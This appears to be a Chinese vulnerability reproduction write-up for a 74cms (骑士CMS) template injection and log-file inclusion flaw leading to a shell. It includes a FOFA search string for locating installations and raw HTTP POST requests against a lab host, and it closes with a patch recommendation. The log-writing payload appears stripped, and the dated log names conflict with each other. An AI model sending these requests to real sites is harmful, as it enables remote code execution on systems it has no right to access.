骑士CMS模版注入和文件包含getshell漏洞

# 骑士CMS模版注入和文件包含getshell漏洞

## 漏洞描述

骑士人才系统,是一项基于 PHP+MYSQL 为核心开发的一套 免费+开源 专业人才招聘系统,使用了ThinkPHP框架(3.2.3),存在CMS模板注入漏洞和文件包含漏洞。

## 漏洞影响

> 骑士CMS

## FOFA

> “骑士CMS”

## 环境搭建

此次采用 windows10+Nginx+MySQL+PHP,使用phpstudy进行的环境配置,注意PHP版本最好使用 PHP 5.5及以上,MySQL版本 5.7.6及以上,我这里使用PHP版本5.4.45

# **三、安装过程**

![image-20210704073822757](/static/qingy/骑士CMS模版注入和文件包含getshell漏洞/img/image-20210704073822757.png)

![image-20210704073827095](/static/qingy/骑士CMS模版注入和文件包含getshell漏洞/img/image-20210704073827095.png)

![image-20210704073831252](/static/qingy/骑士CMS模版注入和文件包含getshell漏洞/img/image-20210704073831252.png)

## 官方公告地址

“`
http://www.74cms.com/news/show-2497.html
“`

/Application/Common/Controller/BaseController.class.php文件的assign_resume_tpl函数因为过滤不严格,导致了模板注入,可以进行远程命令执行

## 漏洞复现

**写入日志**

POST参数:

“`
http://your-ip/index.php?m=home&a=assign_resume_tpl
POST:
variable=1&tpl=/r/n
“`

我们来POST一下看看

“`
POST /74cmsv6.0.20/upload/index.php?m=home&a=assign_resume_tpl HTTP/1.1
Host: 192.168.1.6
Content-Length: 98
Cache-Control: max-age=0Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,
image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.6/74cmsv6.0.20/upload/index.php?m=home&a=assign_resume_tpl
DNT: 1
Connection: close
Cookie: PHPSESSID=vj12p9l3pnqkc09ostum5m7mfu;
think_language=zh-CN; think_template=default
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0variable=1&tpl=/r/n
“`

可以看到返回了错误,日志已经记录了

![image-20210704073840654](/static/qingy/骑士CMS模版注入和文件包含getshell漏洞/img/image-20210704073840654.png)

我们来翻一下日志

“`
日志路径: \upload\data\Runtime\Logs\Home
“`

成功写入

![image-20210704073844992](/static/qingy/骑士CMS模版注入和文件包含getshell漏洞/img/image-20210704073844992.png)

接下来我们尝试包含日志,日志名称就是测试当天的年月日

## **包含日志**

POST参数:

“`
http://your-ip/index.php?m=home&a=assign_resume_tpl
POST:
variable=1&tpl=data/Runtime/Logs/Home/20_12_22.log
“`

我们来POST一下看看

“`
POST /74cmsv6.0.20/upload/index.php?m=home&a=assign_resume_tpl HTTP/1.1
Host: 192.168.1.6
Content-Length: 52
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.6/74cmsv6.0.20/upload/index.php?m=home&a=assign_resume_tpl
DNT: 1
Connection: close
Cookie: PHPSESSID=vj12p9l3pnqkc09ostum5m7mfu; think_language=zh-CN; think_template=default
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

variable=1&tpl=./data/Runtime/Logs/Home/21_07_01.log
“`

![image-20210704073849852](/static/qingy/骑士CMS模版注入和文件包含getshell漏洞/img/image-20210704073849852.png)

# 修复建议

下载官方最新补丁包

“`
http://www.74cms.com/download/index.html
“`

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容